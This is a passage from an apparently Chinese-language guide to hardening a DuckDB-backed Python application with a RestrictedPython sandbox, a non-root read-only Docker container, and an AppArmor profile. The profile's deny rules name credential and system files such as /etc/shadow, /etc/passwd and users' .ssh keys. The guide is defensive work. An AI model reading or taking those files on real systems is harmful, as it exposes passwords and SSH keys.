con.execute("PRAGMA enable_object_cache=false")

应用层沙箱

使用沙箱技术限制进程权限:

# 使用 PyPy沙箱或 restrictedpython
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import guarded_iter_unpack_sequence

code = """
def safe_delete(ref_doc_id):
    # 受限的执行环境
    pass
"""

byte_code = compile_restricted(code, filename="<string>", mode="exec")
exec(byte_code, {'__builtins__': {}})

操作系统隔离

使用容器或虚拟机隔离应用:

# Dockerfile
FROM python:3.10-slim

# 创建非 root 用户
RUN useradd -m -u 1000 appuser

# 使用只读文件系统
RUN --mount=type=cache,target=/var/cache/apt \
    apt-get update && apt-get install -y --no-install-recommends \
    libduckdb-dev

USER appuser

# 限制写入权限
VOLUME ["/app/data"]

COPY . /app
WORKDIR /app

# 使用只读根文件系统(除了特定目录)
# docker run --read-only --tmpfs /tmp ...

网络隔离

限制应用的网络访问能力:

# 使用 iptables 限制出站连接
# 或使用 AppArmor/SELinux 强制访问控制

# AppArmor 配置示例
#include <tunables/global>

/usr/bin/python3.10 {
  #include <abstractions/base>
  #include <abstractions/python>

  deny network,
  deny /etc/shadow r,
  deny /etc/passwd r,
  deny /home/*/.ssh/** rw,

  /tmp/** rw,
  /app/** r,
}